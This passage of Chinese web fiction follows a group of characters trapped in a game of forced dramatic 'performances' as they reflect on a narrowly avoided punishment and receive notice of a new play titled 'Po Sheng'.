舒觉这才意识到,这将是一个重要的标志:之后的演绎里,想必也会出现不少这样伤害他人、伤害自己、违反人性的内容。 她并不太担心。上一轮他们也是这样过来的,无非就是要大家逐渐崩溃罢了。在最后关头到来之前找到出去的办法就好了。 不过,话说回来,这次这类剧情出现的时间,比他们那时候晚了很多啊。不知道这是随机的,还是背后有什么原因。 这个念头在她心中一闪而过。曲语冰说:“不过,至少演绎回来所有伤害都会还原。不然几条命也不够我们演的。” 他意在开个玩笑缓和氛围,但祝时明表情更黯淡了几分。舒觉拐了他一肘,曲语冰嗷了一声,但除此之外不敢有更多的抱怨。 舒觉说:“好了,至少,这次没有人被惩罚。” 这的确是件幸运的事。如果没有曲语冰的临场发挥,洛珠或者他恐怕就要丢掉身上某个部件了。 “是啊,应该不会这么快就有不得不拒演的剧目。”曲语冰难得宽慰起他人,他们都以为祝时明是对之后的演绎产生了过于悲观的看法。 他话音刚落,所有人手环震动起来,一个界面弹出,上面赫然显示新一场演绎的开始。 这么快?而且,也太密集了。一般同一天内不会有超过两场演绎。舒觉有不好的预感,她不自觉拧起眉,点开详细部分。 【剧目:破声】 【演员:邹摇光、邹玉衡】